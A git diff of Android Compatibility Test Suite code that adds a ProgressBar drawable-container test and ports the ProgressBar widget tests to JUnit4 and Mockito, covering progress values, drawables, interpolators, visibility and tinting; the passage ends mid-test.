+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.Activity;
+import android.graphics.drawable.DrawableContainer;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.widget.ProgressBar;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ProgressBarDrawableContainerTest {
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<RadioGroupCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RadioGroupCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testMutate() {
+        DrawableContainer d = (DrawableContainer) new ProgressBar(
+                mActivity).getIndeterminateDrawable().mutate();
+
+        boolean mirrored = d.isAutoMirrored();
+        d.setAutoMirrored(!mirrored);
+
+        ProgressBar newBar = new ProgressBar(mActivity);
+        DrawableContainer d2 = (DrawableContainer) newBar.getIndeterminateDrawable();
+        boolean newMirrored = d2.isAutoMirrored();
+        assertEquals(newMirrored, mirrored);
+    }
+
+}
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
index 1cf7334..5a68273 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
@@ -16,532 +16,564 @@
 
 package android.widget.cts;
 
-import android.content.res.ColorStateList;
-import android.graphics.Color;
-import android.graphics.PorterDuff;
-import android.view.LayoutInflater;
-
-import android.widget.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.content.Context;
+import android.content.res.ColorStateList;
 import android.graphics.Canvas;
-import android.graphics.ColorFilter;
+import android.graphics.Color;
+import android.graphics.PorterDuff;
+import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
 import android.os.Parcelable;
-import android.test.InstrumentationTestCase;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.SmallTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
 import android.view.View;
 import android.view.animation.AccelerateDecelerateInterpolator;
+import android.view.animation.AccelerateInterpolator;
 import android.view.animation.Interpolator;
 import android.view.animation.LinearInterpolator;
 import android.widget.ProgressBar;
+import android.widget.cts.util.TestUtils;
 
-public class ProgressBarTest extends InstrumentationTestCase {
-    // The target context.
-    private Context mContext;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ProgressBarTest {
+    private ProgressBarCtsActivity mActivity;
+    private ProgressBar mProgressBar;
+    private ProgressBar mProgressBarHorizontal;
+
+    @Rule
+    public ActivityTestRule<ProgressBarCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ProgressBarCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mProgressBar = (ProgressBar) mActivity.findViewById(R.id.progress);
+        mProgressBarHorizontal = (ProgressBar) mActivity.findViewById(R.id.progress_horizontal);
     }
 
+    @Test
     public void testConstructor() {
-        new ProgressBar(mContext);
+        new ProgressBar(mActivity);
 
-        new ProgressBar(mContext, null);
+        new ProgressBar(mActivity, null);
 
-        new ProgressBar(mContext, null, android.R.attr.progressBarStyle);
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyle);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleHorizontal);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleInverse);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleLarge);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleLargeInverse);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleSmall);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleSmallInverse);
+
+        new ProgressBar(mActivity, null, android.R.attr.progressBarStyleSmallTitle);
+
+        new ProgressBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_ProgressBar);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Horizontal);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Large);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Large_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Small);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Small_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_DeviceDefault_Light_ProgressBar_Small_Title);
+
+        new ProgressBar(mActivity, null, 0, android.R.style.Widget_Material_Light_ProgressBar);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Horizontal);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Large);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Large_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Small);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Small_Inverse);
+
+        new ProgressBar(mActivity, null, 0,
+                android.R.style.Widget_Material_Light_ProgressBar_Small_Title);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetIndeterminate() {
-        ProgressBar progressBar = new ProgressBar(mContext);
-        assertTrue(progressBar.isIndeterminate());
+        assertTrue(mProgressBar.isIndeterminate());
 
-        progressBar.setIndeterminate(true);
-        assertTrue(progressBar.isIndeterminate());
+        mProgressBar.setIndeterminate(true);
+        assertTrue(mProgressBar.isIndeterminate());
 
-        progressBar.setIndeterminate(false);
+        mProgressBar.setIndeterminate(false);
         // because default is Indeterminate only progressBar, can't change the status
-        assertTrue(progressBar.isIndeterminate());
+        assertTrue(mProgressBar.isIndeterminate());
 
-        progressBar = new ProgressBar(mContext, null, android.R.attr.progressBarStyleHorizontal);
-        assertFalse(progressBar.isIndeterminate());
+        assertFalse(mProgressBarHorizontal.isIndeterminate());
 
-        progressBar.setIndeterminate(true);
-        assertTrue(progressBar.isIndeterminate());
+        mProgressBarHorizontal.setIndeterminate(true);
+        assertTrue(mProgressBarHorizontal.isIndeterminate());
 
-        progressBar.setIndeterminate(false);
-        assertFalse(progressBar.isIndeterminate());
+        mProgressBarHorizontal.setIndeterminate(false);
+        assertFalse(mProgressBarHorizontal.isIndeterminate());
     }
 
-    public void testAccessIndeterminateDrawable() {
-        ProgressBar progressBar = new ProgressBar(mContext);
+    @UiThreadTest
+    @Test
+    public void testQueryAnimationState() {
+        assertTrue(mProgressBar.isAnimating());
+        assertFalse(mProgressBarHorizontal.isAnimating());
 
+        mProgressBarHorizontal.setIndeterminate(true);
+        assertTrue(mProgressBarHorizontal.isAnimating());
+
+        mProgressBarHorizontal.setIndeterminate(false);
+        assertFalse(mProgressBarHorizontal.isAnimating());
+
+        mProgressBar.setVisibility(View.GONE);
+        assertFalse(mProgressBar.isAnimating());
+        mProgressBar.setVisibility(View.INVISIBLE);
+        assertFalse(mProgressBar.isAnimating());
+        mProgressBar.setVisibility(View.VISIBLE);
+        assertTrue(mProgressBar.isAnimating());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessIndeterminateDrawable() {
         // set IndeterminateDrawable
         // normal value
-        MockDrawable mockDrawable = new MockDrawable();
-        progressBar.setIndeterminateDrawable(mockDrawable);
-        assertSame(mockDrawable, progressBar.getIndeterminateDrawable());
-        assertFalse(mockDrawable.hasCalledDraw());
-        progressBar.draw(new Canvas());
-        assertTrue(mockDrawable.hasCalledDraw());
+        Drawable mockProgressDrawable = spy(new ColorDrawable(Color.YELLOW));
+        mProgressBar.setIndeterminateDrawable(mockProgressDrawable);
+        assertSame(mockProgressDrawable, mProgressBar.getIndeterminateDrawable());
+        verify(mockProgressDrawable, never()).draw(any(Canvas.class));
+        mProgressBar.draw(new Canvas());
+        verify(mockProgressDrawable, atLeastOnce()).draw(any(Canvas.class));
 
         // exceptional value
-        progressBar.setIndeterminateDrawable(null);
-        assertNull(progressBar.getIndeterminateDrawable());
+        mProgressBar.setIndeterminateDrawable(null);
+        assertNull(mProgressBar.getIndeterminateDrawable());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessProgressDrawable() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-
         // set ProgressDrawable
         // normal value
-        MockDrawable mockDrawable = new MockDrawable();
-        progressBar.setProgressDrawable(mockDrawable);
-        assertSame(mockDrawable, progressBar.getProgressDrawable());
-        assertFalse(mockDrawable.hasCalledDraw());
-        progressBar.draw(new Canvas());
-        assertTrue(mockDrawable.hasCalledDraw());
+        Drawable mockProgressDrawable = spy(new ColorDrawable(Color.BLUE));
+        mProgressBarHorizontal.setProgressDrawable(mockProgressDrawable);
+        assertSame(mockProgressDrawable, mProgressBarHorizontal.getProgressDrawable());
+        verify(mockProgressDrawable, never()).draw(any(Canvas.class));
+        mProgressBarHorizontal.draw(new Canvas());
+        verify(mockProgressDrawable, atLeastOnce()).draw(any(Canvas.class));
 
         // exceptional value
-        progressBar.setProgressDrawable(null);
-        assertNull(progressBar.getProgressDrawable());
+        mProgressBarHorizontal.setProgressDrawable(null);
+        assertNull(mProgressBarHorizontal.getProgressDrawable());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessProgress() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-        assertEquals(0, progressBar.getProgress());
+        assertEquals(0, mProgressBarHorizontal.getProgress());
 
-        final int maxProgress = progressBar.getMax();
+        final int maxProgress = mProgressBarHorizontal.getMax();
         // set Progress
         // normal value
-        progressBar.setProgress(maxProgress >> 1);
-        assertEquals(maxProgress >> 1, progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(maxProgress >> 1);
+        assertEquals(maxProgress >> 1, mProgressBarHorizontal.getProgress());
 
         // exceptional values
-        progressBar.setProgress(-1);
-        assertEquals(0, progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(-1);
+        assertEquals(0, mProgressBarHorizontal.getProgress());
 
-        progressBar.setProgress(maxProgress + 1);
-        assertEquals(maxProgress, progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(maxProgress + 1);
+        assertEquals(maxProgress, mProgressBarHorizontal.getProgress());
 
-        progressBar.setProgress(Integer.MAX_VALUE);
-        assertEquals(maxProgress, progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(Integer.MAX_VALUE);
+        assertEquals(maxProgress, mProgressBarHorizontal.getProgress());
+
+        mProgressBarHorizontal.setProgress(0, true);
+        assertEquals(0, mProgressBarHorizontal.getProgress());
 
         // when in indeterminate mode
-        progressBar.setIndeterminate(true);
-        progressBar.setProgress(maxProgress >> 1);
-        assertEquals(0, progressBar.getProgress());
+        mProgressBarHorizontal.setIndeterminate(true);
+        mProgressBarHorizontal.setProgress(maxProgress >> 1);
+        assertEquals(0, mProgressBarHorizontal.getProgress());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessSecondaryProgress() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-        assertEquals(0, progressBar.getSecondaryProgress());
+        assertEquals(0, mProgressBarHorizontal.getSecondaryProgress());
 
-        final int maxProgress = progressBar.getMax();
+        final int maxProgress = mProgressBarHorizontal.getMax();
         // set SecondaryProgress
         // normal value
-        progressBar.setSecondaryProgress(maxProgress >> 1);
-        assertEquals(maxProgress >> 1, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(maxProgress >> 1);
+        assertEquals(maxProgress >> 1, mProgressBarHorizontal.getSecondaryProgress());
 
         // exceptional value
-        progressBar.setSecondaryProgress(-1);
-        assertEquals(0, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(-1);
+        assertEquals(0, mProgressBarHorizontal.getSecondaryProgress());
 
-        progressBar.setSecondaryProgress(maxProgress + 1);
-        assertEquals(maxProgress, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(maxProgress + 1);
+        assertEquals(maxProgress, mProgressBarHorizontal.getSecondaryProgress());
 
-        progressBar.setSecondaryProgress(Integer.MAX_VALUE);
-        assertEquals(maxProgress, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(Integer.MAX_VALUE);
+        assertEquals(maxProgress, mProgressBarHorizontal.getSecondaryProgress());
 
         // when in indeterminate mode
-        progressBar.setIndeterminate(true);
-        progressBar.setSecondaryProgress(maxProgress >> 1);
-        assertEquals(0, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setIndeterminate(true);
+        mProgressBarHorizontal.setSecondaryProgress(maxProgress >> 1);
+        assertEquals(0, mProgressBarHorizontal.getSecondaryProgress());
     }
 
+    @UiThreadTest
+    @Test
     public void testIncrementProgressBy() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-
         // normal value
         int increment = 1;
-        int oldProgress = progressBar.getProgress();
-        progressBar.incrementProgressBy(increment);
-        assertEquals(oldProgress + increment, progressBar.getProgress());
+        int oldProgress = mProgressBarHorizontal.getProgress();
+        mProgressBarHorizontal.incrementProgressBy(increment);
+        assertEquals(oldProgress + increment, mProgressBarHorizontal.getProgress());
 
-        increment = progressBar.getMax() >> 1;
-        oldProgress = progressBar.getProgress();
-        progressBar.incrementProgressBy(increment);
-        assertEquals(oldProgress + increment, progressBar.getProgress());
+        increment = mProgressBarHorizontal.getMax() >> 1;
+        oldProgress = mProgressBarHorizontal.getProgress();
+        mProgressBarHorizontal.incrementProgressBy(increment);
+        assertEquals(oldProgress + increment, mProgressBarHorizontal.getProgress());
 
         // exceptional values
-        progressBar.setProgress(0);
-        progressBar.incrementProgressBy(Integer.MAX_VALUE);
-        assertEquals(progressBar.getMax(), progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(0);
+        mProgressBarHorizontal.incrementProgressBy(Integer.MAX_VALUE);
+        assertEquals(mProgressBarHorizontal.getMax(), mProgressBarHorizontal.getProgress());
 
-        progressBar.setProgress(0);
-        progressBar.incrementProgressBy(Integer.MIN_VALUE);
-        assertEquals(0, progressBar.getProgress());
+        mProgressBarHorizontal.setProgress(0);
+        mProgressBarHorizontal.incrementProgressBy(Integer.MIN_VALUE);
+        assertEquals(0, mProgressBarHorizontal.getProgress());
     }
 
+    @UiThreadTest
+    @Test
     public void testIncrementSecondaryProgressBy() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-
         // normal value
         int increment = 1;
-        int oldSecondaryProgress = progressBar.getSecondaryProgress();
-        progressBar.incrementSecondaryProgressBy(increment);
-        assertEquals(oldSecondaryProgress + increment, progressBar.getSecondaryProgress());
+        int oldSecondaryProgress = mProgressBarHorizontal.getSecondaryProgress();
+        mProgressBarHorizontal.incrementSecondaryProgressBy(increment);
+        assertEquals(oldSecondaryProgress + increment,
+                mProgressBarHorizontal.getSecondaryProgress());
 
-        increment = progressBar.getMax() >> 1;
-        oldSecondaryProgress = progressBar.getSecondaryProgress();
-        progressBar.incrementSecondaryProgressBy(increment);
-        assertEquals(oldSecondaryProgress + increment, progressBar.getSecondaryProgress());
+        increment = mProgressBarHorizontal.getMax() >> 1;
+        oldSecondaryProgress = mProgressBarHorizontal.getSecondaryProgress();
+        mProgressBarHorizontal.incrementSecondaryProgressBy(increment);
+        assertEquals(oldSecondaryProgress + increment,
+                mProgressBarHorizontal.getSecondaryProgress());
 
         // exceptional values
-        progressBar.setSecondaryProgress(0);
-        progressBar.incrementSecondaryProgressBy(Integer.MAX_VALUE);
-        assertEquals(progressBar.getMax(), progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(0);
+        mProgressBarHorizontal.incrementSecondaryProgressBy(Integer.MAX_VALUE);
+        assertEquals(mProgressBarHorizontal.getMax(),
+                mProgressBarHorizontal.getSecondaryProgress());
 
-        progressBar.setSecondaryProgress(0);
-        progressBar.incrementSecondaryProgressBy(Integer.MIN_VALUE);
-        assertEquals(0, progressBar.getSecondaryProgress());
+        mProgressBarHorizontal.setSecondaryProgress(0);
+        mProgressBarHorizontal.incrementSecondaryProgressBy(Integer.MIN_VALUE);
+        assertEquals(0, mProgressBarHorizontal.getSecondaryProgress());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessInterpolator() {
-        ProgressBar progressBar = new ProgressBar(mContext);
-
         // default should be LinearInterpolator
-        assertTrue(progressBar.getInterpolator() instanceof LinearInterpolator);
+        assertTrue(mProgressBar.getInterpolator() instanceof LinearInterpolator);
 
-        // normal value
-        Interpolator i = new AccelerateDecelerateInterpolator();
-        progressBar.setInterpolator(i);
-        assertEquals(i, progressBar.getInterpolator());
+        Interpolator interpolator = new AccelerateDecelerateInterpolator();
+        mProgressBar.setInterpolator(interpolator);
+        assertEquals(interpolator, mProgressBar.getInterpolator());
+
+        mProgressBar.setInterpolator(mActivity, android.R.anim.accelerate_interpolator);
+        assertTrue(mProgressBar.getInterpolator() instanceof AccelerateInterpolator);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetVisibility() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-
         // set visibility
         // normal value
         int visibility = View.VISIBLE;
-        progressBar.setVisibility(visibility);
-        assertEquals(visibility, progressBar.getVisibility());
+        mProgressBarHorizontal.setVisibility(visibility);
+        assertEquals(visibility, mProgressBarHorizontal.getVisibility());
 
         visibility = View.GONE;
-        progressBar.setVisibility(visibility);
-        assertEquals(visibility, progressBar.getVisibility());
+        mProgressBarHorizontal.setVisibility(visibility);
+        assertEquals(visibility, mProgressBarHorizontal.getVisibility());
 
         // exceptional value
         visibility = 0xfffffff5; // -11
         int mask = 0x0000000C; // View.VISIBILITY_MASK
-        int expected = (progressBar.getVisibility() & ~mask) | (visibility & mask);
-        progressBar.setVisibility(visibility);
-        assertEquals(expected, progressBar.getVisibility());
+        int expected = (mProgressBarHorizontal.getVisibility() & ~mask) | (visibility & mask);
+        mProgressBarHorizontal.setVisibility(visibility);
+        assertEquals(expected, mProgressBarHorizontal.getVisibility());
 
         visibility = 0x7fffffff; // Integer.MAX_VALUE;
-        expected = (progressBar.getVisibility() & ~mask) | (visibility & mask);
-        progressBar.setVisibility(Integer.MAX_VALUE);
-        assertEquals(expected, progressBar.getVisibility());
+        expected = (mProgressBarHorizontal.getVisibility() & ~mask) | (visibility & mask);
+        mProgressBarHorizontal.setVisibility(Integer.MAX_VALUE);
+        assertEquals(expected, mProgressBarHorizontal.getVisibility());
     }
 
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
-        MockProgressBar mockProgressBar = new MockProgressBar(mContext);
+        ProgressBar mockProgressBar = spy(new ProgressBar(mActivity));
 
-        MockDrawable mockDrawable1 = new MockDrawable();
-        MockDrawable mockDrawable2 = new MockDrawable();
+        Drawable mockDrawable1 = spy(new ColorDrawable(Color.RED));
+        Drawable mockDrawable2 = spy(new ColorDrawable(Color.GREEN));
         mockProgressBar.setBackgroundDrawable(mockDrawable1);
 
         mockProgressBar.invalidateDrawable(mockDrawable1);
-        assertTrue(mockProgressBar.hasCalledInvalidate());
+        verify(mockProgressBar, atLeastOnce()).invalidate(anyInt(), anyInt(), anyInt(), anyInt());
 
-        mockProgressBar.reset();
+        reset(mockProgressBar);
         mockProgressBar.invalidateDrawable(mockDrawable2);
-        assertFalse(mockProgressBar.hasCalledInvalidate());
+        verify(mockProgressBar, never()).invalidate(anyInt(), anyInt(), anyInt(), anyInt());
 
         mockProgressBar.setIndeterminateDrawable(mockDrawable1);
         mockProgressBar.setProgressDrawable(mockDrawable2);
     }
 
+    @UiThreadTest
+    @Test
     public void testPostInvalidate() {
-        MockProgressBar mockProgressBar = new MockProgressBar(mContext);
-        mockProgressBar.postInvalidate();
+        mProgressBarHorizontal.postInvalidate();
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessMax() {
-        ProgressBar progressBar = new ProgressBar(mContext, null,
-                android.R.attr.progressBarStyleHorizontal);
-
         // set Progress
         int progress = 10;
-        progressBar.setProgress(progress);
+        mProgressBarHorizontal.setProgress(progress);
 
         // normal value
         int max = progress + 1;
-        progressBar.setMax(max);
-        assertEquals(max, progressBar.getMax());
-        assertEquals(progress, progressBar.getProgress());
+        mProgressBarHorizontal.setMax(max);
+        assertEquals(max, mProgressBarHorizontal.getMax());
+        assertEquals(progress, mProgressBarHorizontal.getProgress());
 
         max = progress - 1;
-        progressBar.setMax(max);
-        assertEquals(max, progressBar.getMax());
-        assertEquals(max, progressBar.getProgress());
+        mProgressBarHorizontal.setMax(max);
+        assertEquals(max, mProgressBarHorizontal.getMax());
+        assertEquals(max, mProgressBarHorizontal.getProgress());
 
         // exceptional values
-        progressBar.setMax(-1);
-        assertEquals(0, progressBar.getMax());
-        assertEquals(0, progressBar.getProgress());
+        mProgressBarHorizontal.setMax(-1);
+        assertEquals(0, mProgressBarHorizontal.getMax());
+        assertEquals(0, mProgressBarHorizontal.getProgress());
 
-        progressBar.setMax(Integer.MAX_VALUE);
-        assertEquals(Integer.MAX_VALUE, progressBar.getMax());
-        assertEquals(0, progressBar.getProgress());
+        mProgressBarHorizontal.setMax(Integer.MAX_VALUE);
+        assertEquals(Integer.MAX_VALUE, mProgressBarHorizontal.getMax());
+        assertEquals(0, mProgressBarHorizontal.getProgress());
     }
 
-    public void testOnDraw() {
-        // Do not test, it's controlled by View. Implementation details
-    }
-
+    @UiThreadTest
+    @Test
     public void testProgressTint() {
-        LayoutInflater inflater = LayoutInflater.from(mContext);
-        View layout = inflater.inflate(R.layout.progressbar_layout, null);
-        ProgressBar inflatedView = (ProgressBar) layout.findViewById(R.id.progress_tint);
+        ProgressBar tintedProgressBar = (ProgressBar) mActivity.findViewById(R.id.progress_tint);
 
         assertEquals("Progress tint inflated correctly",
-                Color.WHITE, inflatedView.getProgressTintList().getDefaultColor());
+                Color.WHITE, tintedProgressBar.getProgressTintList().getDefaultColor());
         assertEquals("Progress tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, inflatedView.getProgressTintMode());
+                PorterDuff.Mode.SRC_OVER, tintedProgressBar.getProgressTintMode());
 
         assertEquals("Progress background tint inflated correctly",
-                Color.WHITE, inflatedView.getProgressBackgroundTintList().getDefaultColor());
+                Color.WHITE, tintedProgressBar.getProgressBackgroundTintList().getDefaultColor());
         assertEquals("Progress background tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, inflatedView.getProgressBackgroundTintMode());
+                PorterDuff.Mode.SRC_OVER, tintedProgressBar.getProgressBackgroundTintMode());
 
         assertEquals("Secondary progress tint inflated correctly",
-                Color.WHITE, inflatedView.getSecondaryProgressTintList().getDefaultColor());
+                Color.WHITE, tintedProgressBar.getSecondaryProgressTintList().getDefaultColor());
         assertEquals("Secondary progress tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, inflatedView.getSecondaryProgressTintMode());
+                PorterDuff.Mode.SRC_OVER, tintedProgressBar.getSecondaryProgressTintMode());
 
-        MockDrawable progress = new MockDrawable();
-        ProgressBar view = new ProgressBar(mContext);
+        Drawable mockProgressDrawable = spy(new ColorDrawable(Color.BLACK));
 
-        view.setProgressDrawable(progress);
-        assertFalse("No progress tint applied by default", progress.hasCalledSetTint());
+        mProgressBar.setProgressDrawable(mockProgressDrawable);
+        // No progress tint applied by default
+        verify(mockProgressDrawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setProgressBackgroundTintList(ColorStateList.valueOf(Color.WHITE));
-        assertFalse("Progress background tint not applied when layer missing",
-                progress.hasCalledSetTint());
+        mProgressBar.setProgressBackgroundTintList(ColorStateList.valueOf(Color.WHITE));
+        // Progress background tint not applied when layer missing
+        verify(mockProgressDrawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setSecondaryProgressTintList(ColorStateList.valueOf(Color.WHITE));
-        assertFalse("Secondary progress tint not applied when layer missing",
-                progress.hasCalledSetTint());
+        mProgressBar.setSecondaryProgressTintList(ColorStateList.valueOf(Color.WHITE));
+        // Secondary progress tint not applied when layer missing
+        verify(mockProgressDrawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setProgressTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("Progress tint applied when setProgressTintList() called after setProgress()",
-                progress.hasCalledSetTint());
+        mProgressBar.setProgressTintList(ColorStateList.valueOf(Color.WHITE));
+        // Progress tint applied when setProgressTintList() called after setProgress()
+        verify(mockProgressDrawable, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
 
-        progress.reset();
-        view.setProgressDrawable(null);
-        view.setProgressDrawable(progress);
-        assertTrue("Progress tint applied when setProgressTintList() called before setProgress()",
-                progress.hasCalledSetTint());
+        mProgressBar.setProgressBackgroundTintMode(PorterDuff.Mode.DST_OVER);
+        assertEquals(PorterDuff.Mode.DST_OVER, mProgressBar.getProgressBackgroundTintMode());
+
+        mProgressBar.setSecondaryProgressTintMode(PorterDuff.Mode.DST_IN);
+        assertEquals(PorterDuff.Mode.DST_IN, mProgressBar.getSecondaryProgressTintMode());
+
+        mProgressBar.setProgressTintMode(PorterDuff.Mode.DST_ATOP);
+        assertEquals(PorterDuff.Mode.DST_ATOP, mProgressBar.getProgressTintMode());
+
+        reset(mockProgressDrawable);
+        mProgressBar.setProgressDrawable(null);
+        mProgressBar.setProgressDrawable(mockProgressDrawable);
+        // Progress tint applied when setProgressTintList() called before setProgress()
+        verify(mockProgressDrawable, times(1)).setTintList(TestUtils.colorStateListOf(Color.WHITE));
     }
 
+    @UiThreadTest
+    @Test
     public void testIndeterminateTint() {
-        LayoutInflater inflater = LayoutInflater.from(mContext);
-        View layout = inflater.inflate(R.layout.progressbar_layout, null);
-        ProgressBar inflatedView = (ProgressBar) layout.findViewById(R.id.indeterminate_tint);
+        ProgressBar tintedProgressBar =
+                (ProgressBar) mActivity.findViewById(R.id.indeterminate_tint);
 
         assertEquals("Indeterminate tint inflated correctly",
-                Color.WHITE, inflatedView.getIndeterminateTintList().getDefaultColor());
+                Color.WHITE, tintedProgressBar.getIndeterminateTintList().getDefaultColor());
         assertEquals("Indeterminate tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, inflatedView.getIndeterminateTintMode());
+                PorterDuff.Mode.SRC_OVER, tintedProgressBar.getIndeterminateTintMode());
 
-        MockDrawable indeterminate = new MockDrawable();
-        ProgressBar view = new ProgressBar(mContext);
+        Drawable mockIndeterminateDrawable = spy(new ColorDrawable(Color.MAGENTA));
 
-        view.setIndeterminateDrawable(indeterminate);
-        assertFalse("No indeterminate tint applied by default", indeterminate.hasCalledSetTint());
+        mProgressBar.setIndeterminateDrawable(mockIndeterminateDrawable);
+        // No indeterminate tint applied by default
+        verify(mockIndeterminateDrawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setIndeterminateTintList(ColorStateList.valueOf(Color.WHITE));
-        assertTrue("Indeterminate tint applied when setIndeterminateTintList() called after "
-                + "setIndeterminate()", indeterminate.hasCalledSetTint());
+        mProgressBar.setIndeterminateTintList(ColorStateList.valueOf(Color.RED));
+        // Indeterminate tint applied when setIndeterminateTintList() called after
+        // setIndeterminate()
+        verify(mockIndeterminateDrawable, times(1)).setTintList(
+                TestUtils.colorStateListOf(Color.RED));
 
-        indeterminate.reset();
-        view.setIndeterminateDrawable(null);
-        view.setIndeterminateDrawable(indeterminate);
-        assertTrue("Indeterminate tint applied when setIndeterminateTintList() called before "
-                + "setIndeterminate()", indeterminate.hasCalledSetTint());
+        mProgressBar.setIndeterminateTintMode(PorterDuff.Mode.LIGHTEN);
+        assertEquals(PorterDuff.Mode.LIGHTEN, mProgressBar.getIndeterminateTintMode());
+
+        reset(mockIndeterminateDrawable);
+        mProgressBar.setIndeterminateDrawable(null);
+        mProgressBar.setIndeterminateDrawable(mockIndeterminateDrawable);
